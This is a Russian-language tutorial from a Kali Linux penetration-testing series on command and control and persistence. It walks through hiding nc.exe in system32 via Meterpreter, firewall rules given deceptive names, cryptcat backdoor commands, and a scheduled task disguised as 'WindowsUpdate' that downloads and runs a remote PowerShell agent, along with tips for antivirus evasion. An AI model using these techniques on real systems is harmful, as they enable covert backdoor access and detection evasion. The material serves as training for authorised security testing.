Kali Linux, Kali Linux для продвинутого тестирования на проникновение

#108 Kali Linux для продвинутого тестирования на проникновение. Команды и контроль.

Здравствуйте, дорогие друзья.

Современные злоумышленники не заинтересованы в том, чтобы эксплуатировать систему или сеть и продолжать двигаться дальше. Вместо этого цель состоит в том, чтобы атаковать и скомпрометировать ценную сеть, а затем оставаться в ней как можно дольше. Команды и контроль (C2) относятся к механизмам, которые тестировщики используют для репликации действий злоумышленника, сохраняя систему, поддерживая двустороннюю связь, позволяя переносить данные в местонахождение тестировщика и сокрывая доказательства атаки.

На этапе командования, контроля и связи, злоумышленник полагается на постоянное соединение со скомпрометированной системой, чтобы гарантировать, что он сможет продолжать сохранять контроль.

В этом разделе Вы узнаете о следующих темах:

  • Важность постоянства (persistent).
  • Обеспечение постоянства с PowerShell Empire, Covenant, PoshC2 и обменом файлами в Интернете.
  • Применение методов фронтирования домена для поддержания командования и контроля.
  • Искусство извлечения данных с использованием различных протоколов.
  • Сокрытие доказательств нападения.

Постоянство (persistence)

Чтобы быть эффективным, злоумышленник должен иметь возможность поддерживать интерактивное постоянство; он должны иметь двусторонний канал связи с эксплуатируемой системой (интерактивный), который остается в скомпрометированной системе в течение длительного периода времени, не будучи обнаруженным (постоянство). Этот тип подключения необходим по следующим причинам:

  • Могут быть обнаружены сетевые вторжения и идентифицированы скомпрометированные системы.
  • Некоторые эксплойты срабатывают только один раз, потому что уязвимость носит периодический характер или потому, что эксплуатация приводит к сбою или изменению системы, что делает уязвимость непригодной для использования.
  • Злоумышленникам может потребоваться несколько раз вернуться к одной и той же цели по разным причинам.
  • Полезность цели не всегда становится известна сразу в момент ее компрометации.

Инструмент, используемый для поддержания интерактивности, обычно называют классическими терминами, такими как бэкдор или руткит. Однако тенденция к долговременному сохранению как автоматизированных вредоносных программ, так и атак человека, размыла значение традиционных ярлыков, поэтому, вместо этого мы будем называть вредоносное программное обеспечение, которое предназначено для пребывания в скомпрометированной системе в течение длительного периода времени, постоянным агентом.
Эти постоянные агенты выполняют множество функций для злоумышленников и тестеров на проникновение, включая следующие:

  • Разрешение загрузки дополнительных инструментов, для поддержки новых атак, особенно против систем, расположенных в той же сети.
  • Содействие утечке данных из скомпрометированных систем и сетей.
  • Разрешение злоумышленникам повторно подключиться к скомпрометированной системе, обычно через зашифрованный канал, чтобы избежать обнаружения. Известно, что стойкие агенты остаются в системах более года.
  • Использование методов защиты от криминалистики во избежание обнаружения, в том числе сокрытие в файловой системе или системной памяти объекта, использование строгой аутентификации и шифрования.

Использование постоянных агентов

Традиционно, злоумышленники размещали бэкдор в скомпрометированной системе. Если передняя дверь (front door), обеспечивает авторизованный доступ законным пользователям, бэкдор-приложения позволяют злоумышленникам вернуться в эксплуатируемую систему и получить доступ к службам и данным.
К сожалению, классические бэкдоры обеспечивали ограниченную интерактивность и не были рассчитаны на длительное сохранение на взломанных системах. Сообщество злоумышленников рассматривало это как существенный недостаток, поскольку, после того, как бэкдор был обнаружен и удален, требовалась дополнительная работа по повторению шагов компрометации и использованию системы, что еще больше усложнялось из-за заранее предупрежденных системных администраторов, защищающих сеть и ее уязвимости, а также ресурсы.

Злоумышленники теперь сосредотачиваются на постоянных агентах, которые правильно используются и которых труднее обнаружить. Первый инструмент, который мы рассмотрим, — это почтенный Netcat.

Использование Netcat в качестве постоянного агента

Netcat — это приложение, которое поддерживает чтение и запись сетевых подключений, с использованием необработанных пакетов TCP и UDP. В отличие от пакетов, организованных такими службами, как Telnet или FTP, пакеты Netcat не сопровождаются заголовками или другой информацией о канале, специфичной для службы. Это упрощает коммуникацию и обеспечивает практически универсальный канал связи.
Последняя стабильная версия Netcat была выпущена Hobbit в 1996 году и осталась такой же полезной, как и прежде; на самом деле его часто называют «швейцарским армейским ножом TCP/IP». Netcat может выполнять множество функций, включая следующие:

  • Сканирование портов.
  • Захват баннеров для идентификации услуг.
  • Перенаправление портов и проксирование.
  • Передача файлов и общение в чате, включая поддержку анализа данных и удаленного резервного копирования.
  • Создайте бэкдор или интерактивный постоянный агент в скомпрометированной системе.

На этом этапе мы сосредоточимся на использовании Netcat для создания постоянной оболочки в скомпрометированной системе. Хотя, в следующем примере, в качестве целевой платформы используется Windows, при использовании на платформе Unix он работает так же. Следует также отметить, что большинство устаревших платформ Unix включают Netcat как часть операционной системы.
В примере, показанном на рисунке ниже, мы сохраним имя исполняемого файла nc.exe; однако перед использованием его обычно переименовывают, чтобы свести к минимуму обнаружение. Даже если он будет переименован, он обычно будет идентифицирован антивирусным программным обеспечением; многие злоумышленники изменяют или удаляют ненужные элементы исходного кода Netcat и перекомпилируют его перед использованием. Такие изменения могут изменить конкретную сигнатуру, которую антивирусные программы используют для идентификации приложения как Netcat, делая его невидимым для антивирусных программ.

  1. Netcat хранится на Kali в репозитории /usr/share/windows-binaries. Чтобы загрузить его в скомпрометированную систему, введите следующую команду из Meterpreter:

meterpreter> upload /usr/share/windows-binaries/nc.exe C:\WINDOWS\system32

Выполнение предыдущей команды показано на рисунке ниже:

Uploading Netcat to the target

Вам не обязательно помещать его специально в папку system32; однако из-за количества и разнообразия типов файлов в этой папке — это лучшее место для сокрытия файла в скомпрометированной системе.

При проведении теста на проникновение на одном клиенте мы обнаружили шесть отдельных экземпляров Netcat, на одном сервере. Netcat был установлен дважды, двумя разными системными администраторами для поддержки управления сетью; остальные четыре экземпляра были установлены внешними злоумышленниками и не были идентифицированы до завершения теста на проникновение. Поэтому всегда проверяйте, установлен ли уже Netcat на Вашей цели!

Если у Вас нет подключения к Meterpreter, Вы можете использовать Trivial File Transfer Protocol (TFTP), для передачи файла.

  1. Затем настройте реестр на запуск Netcat при запуске системы, и убедитесь, что он прослушивает порт 8888 (или любой другой порт, который Вы выбрали, если он не используется), с помощью следующей команды:
  1. Подтвердите, что изменение в реестре было успешно реализовано с помощью следующей команды queryval:
  1. С помощью команды netsh откройте порт на локальном брандмауэре, чтобы гарантировать, что скомпрометированная система будет принимать удаленные подключения к Netcat. Важно знать операционную систему цели. Контекст командной строки брандмауэра netsh advfirewall используется для Windows 10, Windows Server 2008 и более поздних версий; команда netsh firewall используется в более ранних операционных системах.
  2. Чтобы добавить порт в локальный брандмауэр Windows, введите команду оболочки в командной строке Meterpreter, а затем введите правило, используя соответствующую команду. При присвоении имени правилу используйте такое имя, как svchostpassthrough, которое предполагает, что правило важно для правильного функционирования системы.
    Пример команды показан следующим образом:
  1. Подтвердите, что изменение было успешно реализовано, с помощью следующей команды:

Выполнение ранее упомянутых команд показано на рисунке ниже:

Adding a firewall rule to allow the custom port
  1. Когда правило порта будет подтверждено, убедитесь, что опция перезагрузки работает следующим образом:
  • Введите следующую команду из приглашения Meterpreter:
    meterpreter> reboot
  • Введите следующую команду из интерактивной оболочки Windows:
    C:\windows\system32> shutdown /r /t 15
  1. Чтобы удаленно получить доступ к скомпрометированной системе, введите nc в терминале, укажите уровень детализации соединения (-v сообщает основную информацию, а -vv сообщает гораздо больше информации), а затем введите IP-адрес цели и номер порта, как показано на рисунке ниже:
Successfully connecting to the persistent backdoor through Netcat

К сожалению, использование Netcat имеет некоторые ограничения. Аутентификация и шифрование передаваемых данных не осуществляются и обнаруживаются практически всеми антивирусными программами.

  1. Отсутствие шифрования можно решить с помощью cryptcat, варианта Netcat, который использует шифрование Twofish, для защиты данных, во время передачи между эксплуатируемым хостом и злоумышленником. Шифрование Twofish, разработанное Брюсом Шнайдером, представляет собой усовершенствованный симметричный блочный шифр, обеспечивающий достаточно надежную защиту зашифрованных данных.
    Чтобы использовать cryptcat, убедитесь, что прослушиватель готов и настроен с надежным паролем, используя следующую команду:

kali@kali:~# cryptcat -k password -l -p 444

  1. Затем загрузите cryptcat (на основе целевой операционной системы; ifit’s Windows, загрузите двоичный файл Windows, доступный по адресу https://github.com/pprugger/Cryptcat-1.3.0-Win-10-Release) в скомпрометированную систему и настройте его для подключения, с IP-адресом прослушивателя, используя следующую команду:

cryptcat -k password 444

К сожалению, Netcat и его варианты по-прежнему обнаруживаются большинством антивирусных приложений. Однако, если целью является система Linux, эта утилита предустановлена, и пентестеры могут использовать ее для открытия порта и запуска бэкдора. Можно сделать Netcat невидимым, используя шестнадцатеричный редактор и изменив исходный код Netcat.

Это поможет избежать запуска действия антивируса по сопоставлению сигнатур, но это может оказаться длительным процессом проб и ошибок. Более эффективный подход — воспользоваться механизмами устойчивости Empire.

Использование Schtasks для настройки постоянной задачи

Планировщик задач Windows (schtasks) был представлен в качестве замены at.exe, в Windows XP и 2003. Однако at.exe устарел в последних версиях Windows. В этом разделе мы будем использовать запланированные задачи для поддержания постоянного доступа к скомпрометированной системе.
Злоумышленники могут создать запланированное задание в скомпрометированной системе для запуска полезной нагрузки агента Empire с компьютера злоумышленника, а затем предоставить доступ через бэкдор. Schtasks можно планировать непосредственно из командной строки, как показано на рисунке ниже:

Creating schedule tasks on the target for persistence

Ниже приведены типичные сценарии запланированных задач, которые могут быть использованы злоумышленниками для поддержания постоянного доступа к системе:

  • Чтобы запустить агент Empire PowerShell во время процесса входа пользователя в систему, выполните следующую команду из командной строки:

schtasks /create /tn WindowsUpdate /tr " C:\Windows\System32\ WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient). downloadstring('http://10.10.10.12:90/agent.ps1'))'" /sc onlogon / ru System

  • Аналогично, чтобы запустить агент при запуске системы, выполните следующую команду:
  • Следующая команда будет настроена на запуск агента, когда система простаивает:

Злоумышленники будут следить за тем, чтобы прослушиватель всегда работал и был открыт для подключения. Чтобы легитимизировать его в сети, на сервере необходимо настроить действительный сертификат SSL, работающий по протоколу HTTPS, чтобы не вызывать оповещения во внутренних функциях безопасности (брандмауэре, IPS или прокси).
Ту же задачу можно выполнить с помощью однострочной команды с использованием модуля инструментов PowerShell Empire persistence/elevated/schtasks, как показано на рисунке ниже:

Creating schedule tasks on the target for persistence

Теперь, когда мы узнали, как использовать запланированную задачу для обеспечения устойчивости к цели, мы рассмотрим модуль пост-эксплойта Metasploit.

На этом все. Всем хорошего дня!

Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.